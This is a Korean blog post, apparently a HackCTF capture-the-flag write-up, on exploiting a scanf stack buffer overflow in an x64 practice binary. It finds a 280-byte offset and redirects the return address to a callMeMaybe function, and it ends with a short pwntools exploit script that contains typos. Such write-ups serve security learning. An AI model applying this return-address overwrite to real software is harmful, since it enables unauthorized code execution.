반응형
문제를 다운받고 실행해보자
단순히 입력받은 값에 Hello를 덧붙여서 출력해준다.
버퍼오버플로우 문제이니 바로 IDA로 까주자
main함수를 보면 누가봐도 _isoc99_scanf에서 버퍼오버플로우가 가능하다.
그리고 함수목록에 있는 누가봐도 수상한 callMeMaybe를 보면
이런식의 코드가 보인다.
즉 main에서 scanf를 통해 버퍼오버플로우를 시키고 callMeMaybe 주소를 넣어주면 끝이다.
크기를 알기위해 isoc99 scanf 바로 밑에 bp를 걸어준뒤 실행하자
임의의 값으로 aaaaaaaa를 넣어주고 실행시키니 스택을 보면
입력한 임의의 값 aaaaaaaa가 들어있는게 보인다.
주소를 기록해두자. "0x7fffffffdf10"
이번엔 ret주소에 bp를 걸고 실행해주었다.
스택에 "0x7fffffffe028"이 보일것이다.
아까 구한 주소랑 빼주자
280바이트 정도 a로 채워주고
IDA에서 구한 callMeMaybe 함수 주소를 넣어주면 될 것 같다.
pwntools로 익스를 짜주자
form pwn imort *
p = remote("nc ctf.j0n9hyun.xyz", 3004)
payload = "a"*280 + p64(0x400606)
p.send(payload)
p.interactive()
반응형
'War Game' 카테고리의 다른 글
HackCTF Simple_Overflow_ver_2 Write Up (0) | 2020.03.19 |
---|---|
HackCTF x64 Simple_size_BOF Write Up (0) | 2020.03.17 |
HackCTF 내 버퍼가 흘러넘친다!!! Write Up (0) | 2020.03.08 |
HackCTF Basic_BOF #2 Write Up (0) | 2020.03.07 |
HackCTF Basic_BOF #1 Write Up (0) | 2020.03.07 |